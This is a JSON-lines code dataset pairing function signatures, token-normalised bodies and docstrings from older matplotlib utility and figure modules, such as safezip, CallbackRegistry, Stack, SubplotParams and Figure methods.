{"signature": "def safezip(*args):", "body": "Nx = len(args[<NUM_LIT:0>])<EOL>for i, arg in enumerate(args[<NUM_LIT:1>:]):<EOL><INDENT>if len(arg) != Nx:<EOL><INDENT>raise ValueError(_safezip_msg % (Nx, i+<NUM_LIT:1>, len(arg)))<EOL><DEDENT><DEDENT>return list(zip(*args))<EOL>", "docstring": "make sure *args* are equal len before zipping", "id": "f17209:m31"}
{"signature": "def issubclass_safe(x, klass):", "body": "try:<EOL><INDENT>return issubclass(x, klass)<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "return issubclass(x, klass) and return False on a TypeError", "id": "f17209:m32"}
{"signature": "def print_cycles(objects, outstream=sys.stdout, show_progress=False):", "body": "import gc<EOL>from types import FrameType<EOL>def print_path(path):<EOL><INDENT>for i, step in enumerate(path):<EOL><INDENT>next = path[(i + <NUM_LIT:1>) % len(path)]<EOL>outstream.write(\"<STR_LIT>\" % str(type(step)))<EOL>if isinstance(step, dict):<EOL><INDENT>for key, val in list(step.items()):<EOL><INDENT>if val is next:<EOL><INDENT>outstream.write(\"<STR_LIT>\" % repr(key))<EOL>break<EOL><DEDENT>if key is next:<EOL><INDENT>outstream.write(\"<STR_LIT>\" % repr(val))<EOL>break<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(step, list):<EOL><INDENT>outstream.write(\"<STR_LIT>\" % step.index(next))<EOL><DEDENT>elif isinstance(step, tuple):<EOL><INDENT>outstream.write(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>outstream.write(repr(step))<EOL><DEDENT>outstream.write(\"<STR_LIT>\")<EOL><DEDENT>outstream.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>def recurse(obj, start, all, current_path):<EOL><INDENT>if show_progress:<EOL><INDENT>outstream.write(\"<STR_LIT>\" % len(all))<EOL><DEDENT>all[id(obj)] = None<EOL>referents = gc.get_referents(obj)<EOL>for referent in referents:<EOL><INDENT>if referent is start:<EOL><INDENT>print_path(current_path)<EOL><DEDENT>elif referent is objects or isinstance(referent, FrameType):<EOL><INDENT>continue<EOL><DEDENT>elif id(referent) not in all:<EOL><INDENT>recurse(referent, start, all, current_path + [obj])<EOL><DEDENT><DEDENT><DEDENT>for obj in objects:<EOL><INDENT>outstream.write(\"<STR_LIT>\" % (obj,))<EOL>recurse(obj, obj, { }, [])<EOL><DEDENT>", "docstring": "*objects*\n    A list of objects to find cycles in.  It is often useful to\n    pass in gc.garbage to find the cycles that are preventing some\n    objects from being garbage collected.\n\n*outstream*\n    The stream for output.\n\n*show_progress*\n    If True, print the number of objects reached as they are found.", "id": "f17209:m33"}
{"signature": "def delete_masked_points(*args):", "body": "if not len(args):<EOL><INDENT>return ()<EOL><DEDENT>if (is_string_like(args[<NUM_LIT:0>]) or not iterable(args[<NUM_LIT:0>])):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>nrecs = len(args[<NUM_LIT:0>])<EOL>margs = []<EOL>seqlist = [False] * len(args)<EOL>for i, x in enumerate(args):<EOL><INDENT>if (not is_string_like(x)) and iterable(x) and len(x) == nrecs:<EOL><INDENT>seqlist[i] = True<EOL>if ma.isMA(x):<EOL><INDENT>if x.ndim > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT><DEDENT>margs.append(x)<EOL><DEDENT>masks = []    <EOL>for i, x in enumerate(margs):<EOL><INDENT>if seqlist[i]:<EOL><INDENT>if x.ndim > <NUM_LIT:1>:<EOL><INDENT>continue  <EOL><DEDENT>if ma.isMA(x):<EOL><INDENT>masks.append(~ma.getmaskarray(x))  <EOL>xd = x.data<EOL><DEDENT>else:<EOL><INDENT>xd = x<EOL><DEDENT>try:<EOL><INDENT>mask = np.isfinite(xd)<EOL>if isinstance(mask, np.ndarray):<EOL><INDENT>masks.append(mask)<EOL><DEDENT><DEDENT>except: <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if len(masks):<EOL><INDENT>mask = reduce(np.logical_and, masks)<EOL>igood = mask.nonzero()[<NUM_LIT:0>]<EOL>if len(igood) < nrecs:<EOL><INDENT>for i, x in enumerate(margs):<EOL><INDENT>if seqlist[i]:<EOL><INDENT>margs[i] = x.take(igood, axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for i, x in enumerate(margs):<EOL><INDENT>if seqlist[i] and ma.isMA(x):<EOL><INDENT>margs[i] = x.filled()<EOL><DEDENT><DEDENT>return margs<EOL>", "docstring": "Find all masked and/or non-finite points in a set of arguments,\nand return the arguments with only the unmasked points remaining.\n\nArguments can be in any of 5 categories:\n\n1) 1-D masked arrays\n2) 1-D ndarrays\n3) ndarrays with more than one dimension\n4) other non-string iterables\n5) anything else\n\nThe first argument must be in one of the first four categories;\nany argument with a length differing from that of the first\nargument (and hence anything in category 5) then will be\npassed through unchanged.\n\nMasks are obtained from all arguments of the correct length\nin categories 1, 2, and 4; a point is bad if masked in a masked\narray or if it is a nan or inf.  No attempt is made to\nextract a mask from categories 2, 3, and 4 if :meth:`np.isfinite`\ndoes not yield a Boolean array.\n\nAll input arguments that are not passed unchanged are returned\nas ndarrays after removing the points or rows corresponding to\nmasks in any of the arguments.\n\nA vastly simpler version of this function was originally\nwritten as a helper for Axes.scatter().", "id": "f17209:m36"}
{"signature": "def unmasked_index_ranges(mask, compressed = True):", "body": "mask = mask.reshape(mask.size)<EOL>m = np.concatenate(((<NUM_LIT:1>,), mask, (<NUM_LIT:1>,)))<EOL>indices = np.arange(len(mask) + <NUM_LIT:1>)<EOL>mdif = m[<NUM_LIT:1>:] - m[:-<NUM_LIT:1>]<EOL>i0 = np.compress(mdif == -<NUM_LIT:1>, indices)<EOL>i1 = np.compress(mdif == <NUM_LIT:1>, indices)<EOL>assert len(i0) == len(i1)<EOL>if len(i1) == <NUM_LIT:0>:<EOL><INDENT>return None  <EOL><DEDENT>if not compressed:<EOL><INDENT>return np.concatenate((i0[:, np.newaxis], i1[:, np.newaxis]), axis=<NUM_LIT:1>)<EOL><DEDENT>seglengths = i1 - i0<EOL>breakpoints = np.cumsum(seglengths)<EOL>ic0 = np.concatenate(((<NUM_LIT:0>,), breakpoints[:-<NUM_LIT:1>]))<EOL>ic1 = breakpoints<EOL>return np.concatenate((ic0[:, np.newaxis], ic1[:, np.newaxis]), axis=<NUM_LIT:1>)<EOL>", "docstring": "Find index ranges where *mask* is *False*.\n\n*mask* will be flattened if it is not already 1-D.\n\nReturns Nx2 :class:`numpy.ndarray` with each row the start and stop\nindices for slices of the compressed :class:`numpy.ndarray`\ncorresponding to each of *N* uninterrupted runs of unmasked\nvalues.  If optional argument *compressed* is *False*, it returns\nthe start and stop indices into the original :class:`numpy.ndarray`,\nnot the compressed :class:`numpy.ndarray`.  Returns *None* if there\nare no unmasked values.\n\nExample::\n\n  y = ma.array(np.arange(5), mask = [0,0,1,0,0])\n  ii = unmasked_index_ranges(ma.getmaskarray(y))\n  # returns array [[0,2,] [2,4,]]\n\n  y.compressed()[ii[1,0]:ii[1,1]]\n  # returns array [3,4,]\n\n  ii = unmasked_index_ranges(ma.getmaskarray(y), compressed=False)\n  # returns array [[0, 2], [3, 5]]\n\n  y.filled()[ii[1,0]:ii[1,1]]\n  # returns array [3,4,]\n\nPrior to the transforms refactoring, this was used to support\nmasked arrays in Line2D.", "id": "f17209:m37"}
{"signature": "def less_simple_linear_interpolation( x, y, xi, extrap=False ):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.less_simple_linear_interpolation( x, y, xi, extrap=extrap )<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m38"}
{"signature": "def isvector(X):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.isvector( x, y, xi, extrap=extrap )<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m39"}
{"signature": "def vector_lengths( X, P=<NUM_LIT>, axis=None ):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.vector_lengths( X, P=<NUM_LIT>, axis=axis )<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m40"}
{"signature": "def distances_along_curve( X ):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.distances_along_curve( X )<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m41"}
{"signature": "def path_length(X):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.path_length(X)<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m42"}
{"signature": "def is_closed_polygon(X):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.is_closed_polygon(X)<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m43"}
{"signature": "def quad2cubic(q0x, q0y, q1x, q1y, q2x, q2y):", "body": "<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>import matplotlib.mlab as mlab<EOL>return mlab.quad2cubic(q0x, q0y, q1x, q1y, q2x, q2y)<EOL>", "docstring": "This function has been moved to matplotlib.mlab -- please import\nit from there", "id": "f17209:m44"}
{"signature": "def __init__(self, fmt='<STR_LIT>', missing='<STR_LIT>', missingval=None):", "body": "converter.__init__(self, missing, missingval)<EOL>self.fmt = fmt<EOL>", "docstring": "use a :func:`time.strptime` format string for conversion", "id": "f17209:c2:m0"}
{"signature": "def __init__(self, fmt='<STR_LIT>', missing='<STR_LIT>', missingval=None):", "body": "converter.__init__(self, missing, missingval)<EOL>self.fmt = fmt<EOL>", "docstring": "use a :func:`time.strptime` format string for conversion", "id": "f17209:c3:m0"}
{"signature": "def __init__(self, signals):", "body": "self.signals = set(signals)<EOL>self.callbacks = dict([(s, dict()) for s in signals])<EOL>self._cid = <NUM_LIT:0><EOL>", "docstring": "*signals* is a sequence of valid signals", "id": "f17209:c6:m0"}
{"signature": "def _check_signal(self, s):", "body": "if s not in self.signals:<EOL><INDENT>signals = list(self.signals)<EOL>signals.sort()<EOL>raise ValueError('<STR_LIT>'%(s, signals))<EOL><DEDENT>", "docstring": "make sure *s* is a valid signal or raise a ValueError", "id": "f17209:c6:m1"}
{"signature": "def connect(self, s, func):", "body": "self._check_signal(s)<EOL>self._cid +=<NUM_LIT:1><EOL>self.callbacks[s][self._cid] = func<EOL>return self._cid<EOL>", "docstring": "register *func* to be called when a signal *s* is generated\nfunc will be called", "id": "f17209:c6:m2"}
{"signature": "def disconnect(self, cid):", "body": "for eventname, callbackd in list(self.callbacks.items()):<EOL><INDENT>try: del callbackd[cid]<EOL>except KeyError: continue<EOL>else: return<EOL><DEDENT>", "docstring": "disconnect the callback registered with callback id *cid*", "id": "f17209:c6:m3"}
{"signature": "def process(self, s, *args, **kwargs):", "body": "self._check_signal(s)<EOL>for func in list(self.callbacks[s].values()):<EOL><INDENT>func(*args, **kwargs)<EOL><DEDENT>", "docstring": "process signal *s*.  All of the functions registered to receive\ncallbacks on *s* will be called with *\\*args* and *\\*\\*kwargs*", "id": "f17209:c6:m4"}
{"signature": "def _make_regex(self):", "body": "return re.compile(\"<STR_LIT:|>\".join(map(re.escape, list(self.keys()))))<EOL>", "docstring": "Build re object based on the keys of the current dictionary", "id": "f17209:c13:m0"}
{"signature": "def __call__(self, match):", "body": "return self[match.group(<NUM_LIT:0>)]<EOL>", "docstring": "Handler invoked for each regex *match*", "id": "f17209:c13:m1"}
{"signature": "def xlat(self, text):", "body": "return self._make_regex().sub(self, text)<EOL>", "docstring": "Translate *text*, returns the modified text.", "id": "f17209:c13:m2"}
{"signature": "def append(self,x):", "body": "self.data.append(x)<EOL>if len(self.data) == self.max:<EOL><INDENT>self.cur = <NUM_LIT:0><EOL>self.__class__ = __Full<EOL><DEDENT>", "docstring": "append an element at the end of the buffer", "id": "f17209:c16:m1"}
{"signature": "def get(self):", "body": "return self.data<EOL>", "docstring": "Return a list of elements from the oldest to the newest.", "id": "f17209:c16:m2"}
{"signature": "def __call__(self):", "body": "if not len(self._elements): return self._default<EOL>else: return self._elements[self._pos]<EOL>", "docstring": "return the current element, or None", "id": "f17209:c18:m1"}
{"signature": "def forward(self):", "body": "N = len(self._elements)<EOL>if self._pos<N-<NUM_LIT:1>: self._pos += <NUM_LIT:1><EOL>return self()<EOL>", "docstring": "move the position forward and return the current element", "id": "f17209:c18:m2"}
{"signature": "def back(self):", "body": "if self._pos><NUM_LIT:0>: self._pos -= <NUM_LIT:1><EOL>return self()<EOL>", "docstring": "move the position back and return the current element", "id": "f17209:c18:m3"}
{"signature": "def push(self, o):", "body": "self._elements = self._elements[:self._pos+<NUM_LIT:1>]<EOL>self._elements.append(o)<EOL>self._pos = len(self._elements)-<NUM_LIT:1><EOL>return self()<EOL>", "docstring": "push object onto stack at current position - all elements\noccurring later than the current position are discarded", "id": "f17209:c18:m4"}
{"signature": "def home(self):", "body": "if not len(self._elements): return<EOL>self.push(self._elements[<NUM_LIT:0>])<EOL>return self()<EOL>", "docstring": "push the first element onto the top of the stack", "id": "f17209:c18:m5"}
{"signature": "def clear(self):", "body": "self._pos = -<NUM_LIT:1><EOL>self._elements = []<EOL>", "docstring": "empty the stack", "id": "f17209:c18:m7"}
{"signature": "def bubble(self, o):", "body": "if o not in self._elements:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>old = self._elements[:]<EOL>self.clear()<EOL>bubbles = []<EOL>for thiso in old:<EOL><INDENT>if thiso==o: bubbles.append(thiso)<EOL>else: self.push(thiso)<EOL><DEDENT>for thiso in bubbles:<EOL><INDENT>self.push(o)<EOL><DEDENT>return o<EOL>", "docstring": "raise *o* to the top of the stack and return *o*.  *o* must be\nin the stack", "id": "f17209:c18:m8"}
{"signature": "def remove(self, o):", "body": "if o not in self._elements:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>old = self._elements[:]<EOL>self.clear()<EOL>for thiso in old:<EOL><INDENT>if thiso==o: continue<EOL>else: self.push(thiso)<EOL><DEDENT>", "docstring": "remove element *o* from the stack", "id": "f17209:c18:m9"}
{"signature": "def clean(self):", "body": "mapping = self._mapping<EOL>for key, val in list(mapping.items()):<EOL><INDENT>if key() is None:<EOL><INDENT>del mapping[key]<EOL>val.remove(key)<EOL><DEDENT><DEDENT>", "docstring": "Clean dead weak references from the dictionary", "id": "f17209:c20:m2"}
{"signature": "def join(self, a, *args):", "body": "mapping = self._mapping<EOL>set_a = mapping.setdefault(ref(a), [ref(a)])<EOL>for arg in args:<EOL><INDENT>set_b = mapping.get(ref(arg))<EOL>if set_b is None:<EOL><INDENT>set_a.append(ref(arg))<EOL>mapping[ref(arg)] = set_a<EOL><DEDENT>elif set_b is not set_a:<EOL><INDENT>if len(set_b) > len(set_a):<EOL><INDENT>set_a, set_b = set_b, set_a<EOL><DEDENT>set_a.extend(set_b)<EOL>for elem in set_b:<EOL><INDENT>mapping[elem] = set_a<EOL><DEDENT><DEDENT><DEDENT>self.clean()<EOL>", "docstring": "Join given arguments into the same set.  Accepts one or more\narguments.", "id": "f17209:c20:m3"}
{"signature": "def joined(self, a, b):", "body": "self.clean()<EOL>mapping = self._mapping<EOL>try:<EOL><INDENT>return mapping[ref(a)] is mapping[ref(b)]<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Returns True if *a* and *b* are members of the same set.", "id": "f17209:c20:m4"}
{"signature": "def __iter__(self):", "body": "self.clean()<EOL>class Token: pass<EOL>token = Token()<EOL>for group in self._mapping.values():<EOL><INDENT>if not group[-<NUM_LIT:1>] is token:<EOL><INDENT>yield [x() for x in group]<EOL>group.append(token)<EOL><DEDENT><DEDENT>for group in self._mapping.values():<EOL><INDENT>if group[-<NUM_LIT:1>] is token:<EOL><INDENT>del group[-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>", "docstring": "Iterate over each of the disjoint sets as a list.\n\nThe iterator is invalid if interleaved with calls to join().", "id": "f17209:c20:m5"}
{"signature": "def get_siblings(self, a):", "body": "self.clean()<EOL>siblings = self._mapping.get(ref(a), [ref(a)])<EOL>return [x() for x in siblings]<EOL>", "docstring": "Returns all of the items joined with *a*, including itself.", "id": "f17209:c20:m6"}
{"signature": "def figaspect(arg):", "body": "isarray = hasattr(arg, '<STR_LIT>')<EOL>figsize_min = np.array((<NUM_LIT>,<NUM_LIT>)) <EOL>figsize_max = np.array((<NUM_LIT>,<NUM_LIT>)) <EOL>if isarray:<EOL><INDENT>nr,nc = arg.shape[:<NUM_LIT:2>]<EOL>arr_ratio = float(nr)/nc<EOL><DEDENT>else:<EOL><INDENT>arr_ratio = float(arg)<EOL><DEDENT>fig_height = rcParams['<STR_LIT>'][<NUM_LIT:1>]<EOL>newsize = np.array((fig_height/arr_ratio,fig_height))<EOL>newsize /= min(<NUM_LIT:1.0>,*(newsize/figsize_min))<EOL>newsize /= max(<NUM_LIT:1.0>,*(newsize/figsize_max))<EOL>newsize = np.clip(newsize,figsize_min,figsize_max)<EOL>return newsize<EOL>", "docstring": "Create a figure with specified aspect ratio.  If *arg* is a number,\nuse that aspect ratio.  If *arg* is an array, figaspect will\ndetermine the width and height for a figure that would fit array\npreserving aspect ratio.  The figure width, height in inches are\nreturned.  Be sure to create an axes with equal with and height,\neg\n\nExample usage::\n\n  # make a figure twice as tall as it is wide\n  w, h = figaspect(2.)\n  fig = Figure(figsize=(w,h))\n  ax = fig.add_axes([0.1, 0.1, 0.8, 0.8])\n  ax.imshow(A, **kwargs)\n\n\n  # make a figure with the proper aspect for an array\n  A = rand(5,3)\n  w, h = figaspect(A)\n  fig = Figure(figsize=(w,h))\n  ax = fig.add_axes([0.1, 0.1, 0.8, 0.8])\n  ax.imshow(A, **kwargs)\n\nThanks to Fernando Perez for this function", "id": "f17210:m0"}
{"signature": "def __init__(self, left=None, bottom=None, right=None, top=None,<EOL>wspace=None, hspace=None):", "body": "self.validate = True<EOL>self.update(left, bottom, right, top, wspace, hspace)<EOL>", "docstring": "All dimensions are fraction of the figure width or height.\nAll values default to their rc params\n\nThe following attributes are available\n\n*left*  = 0.125\n    the left side of the subplots of the figure\n*right* = 0.9\n    the right side of the subplots of the figure\n*bottom* = 0.1\n    the bottom of the subplots of the figure\n*top* = 0.9\n    the top of the subplots of the figure\n*wspace* = 0.2\n    the amount of width reserved for blank space between subplots\n*hspace* = 0.2\n    the amount of height reserved for white space between subplots\n*validate*\n    make sure the params are in a legal state (*left*<*right*, etc)", "id": "f17210:c0:m0"}
{"signature": "def update(self,left=None, bottom=None, right=None, top=None,<EOL>wspace=None, hspace=None):", "body": "thisleft = getattr(self, '<STR_LIT:left>', None)<EOL>thisright = getattr(self, '<STR_LIT:right>', None)<EOL>thistop = getattr(self, '<STR_LIT>', None)<EOL>thisbottom = getattr(self, '<STR_LIT>', None)<EOL>thiswspace = getattr(self, '<STR_LIT>', None)<EOL>thishspace = getattr(self, '<STR_LIT>', None)<EOL>self._update_this('<STR_LIT:left>', left)<EOL>self._update_this('<STR_LIT:right>', right)<EOL>self._update_this('<STR_LIT>', bottom)<EOL>self._update_this('<STR_LIT>', top)<EOL>self._update_this('<STR_LIT>', wspace)<EOL>self._update_this('<STR_LIT>', hspace)<EOL>def reset():<EOL><INDENT>self.left = thisleft<EOL>self.right = thisright<EOL>self.top = thistop<EOL>self.bottom = thisbottom<EOL>self.wspace = thiswspace<EOL>self.hspace = thishspace<EOL><DEDENT>if self.validate:<EOL><INDENT>if self.left>=self.right:<EOL><INDENT>reset()<EOL>raise ValueError('<STR_LIT>')<EOL><DEDENT>if self.bottom>=self.top:<EOL><INDENT>reset()<EOL>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Update the current values.  If any kwarg is None, default to\nthe current value, if set, otherwise to rc", "id": "f17210:c0:m1"}
{"signature": "def __init__(self,<EOL>figsize   = None,  <EOL>dpi       = None,  <EOL>facecolor = None,  <EOL>edgecolor = None,  <EOL>linewidth = <NUM_LIT:1.0>,   <EOL>frameon = True,    <EOL>subplotpars = None, <EOL>):", "body": "Artist.__init__(self)<EOL>self.callbacks = cbook.CallbackRegistry(('<STR_LIT>', ))<EOL>if figsize is None  : figsize   = rcParams['<STR_LIT>']<EOL>if dpi is None      : dpi       = rcParams['<STR_LIT>']<EOL>if facecolor is None: facecolor = rcParams['<STR_LIT>']<EOL>if edgecolor is None: edgecolor = rcParams['<STR_LIT>']<EOL>self.dpi_scale_trans = Affine2D()<EOL>self.dpi = dpi<EOL>self.bbox_inches = Bbox.from_bounds(<NUM_LIT:0>, <NUM_LIT:0>, *figsize)<EOL>self.bbox = TransformedBbox(self.bbox_inches, self.dpi_scale_trans)<EOL>self.frameon = frameon<EOL>self.transFigure = BboxTransformTo(self.bbox)<EOL>self.patch = self.figurePatch = Rectangle(<EOL>xy=(<NUM_LIT:0>,<NUM_LIT:0>), width=<NUM_LIT:1>, height=<NUM_LIT:1>,<EOL>facecolor=facecolor, edgecolor=edgecolor,<EOL>linewidth=linewidth,<EOL>)<EOL>self._set_artist_props(self.patch)<EOL>self._hold = rcParams['<STR_LIT>']<EOL>self.canvas = None<EOL>if subplotpars is None:<EOL><INDENT>subplotpars = SubplotParams()<EOL><DEDENT>self.subplotpars = subplotpars<EOL>self._axstack = Stack()  <EOL>self.axes = []<EOL>self.clf()<EOL>self._cachedRenderer = None<EOL>", "docstring": "*figsize*\n    w,h tuple in inches\n*dpi*\n    dots per inch\n*facecolor*\n    the figure patch facecolor; defaults to rc ``figure.facecolor``\n*edgecolor*\n    the figure patch edge color; defaults to rc ``figure.edgecolor``\n*linewidth*\n    the figure patch edge linewidth; the default linewidth of the frame\n*frameon*\n    if False, suppress drawing the figure frame\n*subplotpars*\n    a :class:`SubplotParams` instance, defaults to rc", "id": "f17210:c1:m1"}
{"signature": "def autofmt_xdate(self, bottom=<NUM_LIT>, rotation=<NUM_LIT:30>, ha='<STR_LIT:right>'):", "body": "allsubplots = np.alltrue([hasattr(ax, '<STR_LIT>') for ax in self.axes])<EOL>if len(self.axes)==<NUM_LIT:1>:<EOL><INDENT>for label in ax.get_xticklabels():<EOL><INDENT>label.set_ha(ha)<EOL>label.set_rotation(rotation)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if allsubplots:<EOL><INDENT>for ax in self.get_axes():<EOL><INDENT>if ax.is_last_row():<EOL><INDENT>for label in ax.get_xticklabels():<EOL><INDENT>label.set_ha(ha)<EOL>label.set_rotation(rotation)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for label in ax.get_xticklabels():<EOL><INDENT>label.set_visible(False)<EOL><DEDENT>ax.set_xlabel('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if allsubplots:<EOL><INDENT>self.subplots_adjust(bottom=bottom)<EOL><DEDENT>", "docstring": "Date ticklabels often overlap, so it is useful to rotate them\nand right align them.  Also, a common use case is a number of\nsubplots with shared xaxes where the x-axis is date data.  The\nticklabels are often long, and it helps to rotate them on the\nbottom subplot and turn them off on other subplots, as well as\nturn off xlabels.\n\n*bottom*\n    the bottom of the subplots for :meth:`subplots_adjust`\n*rotation*\n    the rotation of the xtick labels\n*ha*\n    the horizontal alignment of the xticklabels", "id": "f17210:c1:m4"}
{"signature": "def get_children(self):", "body": "children = [self.patch]<EOL>children.extend(self.artists)<EOL>children.extend(self.axes)<EOL>children.extend(self.lines)<EOL>children.extend(self.patches)<EOL>children.extend(self.texts)<EOL>children.extend(self.images)<EOL>children.extend(self.legends)<EOL>return children<EOL>", "docstring": "get a list of artists contained in the figure", "id": "f17210:c1:m5"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>inside = self.bbox.contains(mouseevent.x,mouseevent.y)<EOL>return inside,{}<EOL>", "docstring": "Test whether the mouse event occurred on the figure.\n\nReturns True,{}", "id": "f17210:c1:m6"}
{"signature": "def get_window_extent(self, *args, **kwargs):", "body": "return self.bbox<EOL>", "docstring": "get the figure bounding box in display space; kwargs are void", "id": "f17210:c1:m7"}
{"signature": "def suptitle(self, t, **kwargs):", "body": "x = kwargs.pop('<STR_LIT:x>', <NUM_LIT:0.5>)<EOL>y = kwargs.pop('<STR_LIT:y>', <NUM_LIT>)<EOL>if ('<STR_LIT>' not in kwargs) and ('<STR_LIT>' not in kwargs):<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if ('<STR_LIT>' not in kwargs) and ('<STR_LIT>' not in kwargs):<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>t = self.text(x, y, t, **kwargs)<EOL>return t<EOL>", "docstring": "Add a centered title to the figure.\n\nkwargs are :class:`matplotlib.text.Text` properties.  Using figure\ncoordinates, the defaults are:\n\n  - *x* = 0.5\n      the x location of text in figure coords\n\n  - *y* = 0.98\n      the y location of the text in figure coords\n\n  - *horizontalalignment* = 'center'\n      the horizontal alignment of the text\n\n  - *verticalalignment* = 'top'\n      the vertical alignment of the text\n\nA :class:`matplotlib.text.Text` instance is returned.\n\nExample::\n\n  fig.subtitle('this is the figure title', fontsize=12)", "id": "f17210:c1:m8"}
{"signature": "def set_canvas(self, canvas):", "body": "self.canvas = canvas<EOL>", "docstring": "Set the canvas the contains the figure\n\nACCEPTS: a FigureCanvas instance", "id": "f17210:c1:m9"}
{"signature": "def hold(self, b=None):", "body": "if b is None: self._hold = not self._hold<EOL>else: self._hold = b<EOL>", "docstring": "Set the hold state.  If hold is None (default), toggle the\nhold state.  Else set the hold state to boolean value b.\n\nEg::\n\n    hold()      # toggle hold\n    hold(True)  # hold is on\n    hold(False) # hold is off", "id": "f17210:c1:m10"}
{"signature": "def figimage(self, X,<EOL>xo=<NUM_LIT:0>,<EOL>yo=<NUM_LIT:0>,<EOL>alpha=<NUM_LIT:1.0>,<EOL>norm=None,<EOL>cmap=None,<EOL>vmin=None,<EOL>vmax=None,<EOL>origin=None):", "body": "if not self._hold: self.clf()<EOL>im = FigureImage(self, cmap, norm, xo, yo, origin)<EOL>im.set_array(X)<EOL>im.set_alpha(alpha)<EOL>if norm is None:<EOL><INDENT>im.set_clim(vmin, vmax)<EOL><DEDENT>self.images.append(im)<EOL>return im<EOL>", "docstring": "call signatures::\n\n  figimage(X, **kwargs)\n\nadds a non-resampled array *X* to the figure.\n\n::\n\n  figimage(X, xo, yo)\n\nwith pixel offsets *xo*, *yo*,\n\n*X* must be a float array:\n\n* If *X* is MxN, assume luminance (grayscale)\n* If *X* is MxNx3, assume RGB\n* If *X* is MxNx4, assume RGBA\n\nOptional keyword arguments:\n\n  =========   ==========================================================\n  Keyword     Description\n  =========   ==========================================================\n  xo or yo    An integer, the *x* and *y* image offset in pixels\n  cmap        a :class:`matplotlib.cm.ColorMap` instance, eg cm.jet.\n              If None, default to the rc ``image.cmap`` value\n  norm        a :class:`matplotlib.colors.Normalize` instance. The\n              default is normalization().  This scales luminance -> 0-1\n  vmin|vmax   are used to scale a luminance image to 0-1.  If either is\n              None, the min and max of the luminance values will be\n              used.  Note if you pass a norm instance, the settings for\n              *vmin* and *vmax* will be ignored.\n  alpha       the alpha blending value, default is 1.0\n  origin      [ 'upper' | 'lower' ] Indicates where the [0,0] index of\n              the array is in the upper left or lower left corner of\n              the axes. Defaults to the rc image.origin value\n  =========   ==========================================================\n\nfigimage complements the axes image\n(:meth:`~matplotlib.axes.Axes.imshow`) which will be resampled\nto fit the current axes.  If you want a resampled image to\nfill the entire figure, you can define an\n:class:`~matplotlib.axes.Axes` with size [0,1,0,1].\n\nAn :class:`matplotlib.image.FigureImage` instance is returned.\n\n.. plot:: mpl_examples/pylab_examples/figimage_demo.py", "id": "f17210:c1:m11"}
{"signature": "def set_size_inches(self, *args, **kwargs):", "body": "forward = kwargs.get('<STR_LIT>', False)<EOL>if len(args)==<NUM_LIT:1>:<EOL><INDENT>w,h = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>w,h = args<EOL><DEDENT>dpival = self.dpi<EOL>self.bbox_inches.p1 = w, h<EOL>if forward:<EOL><INDENT>dpival = self.dpi<EOL>canvasw = w*dpival<EOL>canvash = h*dpival<EOL>manager = getattr(self.canvas, '<STR_LIT>', None)<EOL>if manager is not None:<EOL><INDENT>manager.resize(int(canvasw), int(canvash))<EOL><DEDENT><DEDENT>", "docstring": "set_size_inches(w,h, forward=False)\n\nSet the figure size in inches\n\nUsage::\n\n     fig.set_size_inches(w,h)  # OR\n     fig.set_size_inches((w,h) )\n\noptional kwarg *forward=True* will cause the canvas size to be\nautomatically updated; eg you can resize the figure window\nfrom the shell\n\nWARNING: forward=True is broken on all backends except GTK*\nand WX*\n\nACCEPTS: a w,h tuple with w,h in inches", "id": "f17210:c1:m13"}
{"signature": "def get_edgecolor(self):", "body": "return self.patch.get_edgecolor()<EOL>", "docstring": "Get the edge color of the Figure rectangle", "id": "f17210:c1:m15"}
{"signature": "def get_facecolor(self):", "body": "return self.patch.get_facecolor()<EOL>", "docstring": "Get the face color of the Figure rectangle", "id": "f17210:c1:m16"}
{"signature": "def get_figwidth(self):", "body": "return self.bbox_inches.width<EOL>", "docstring": "Return the figwidth as a float", "id": "f17210:c1:m17"}
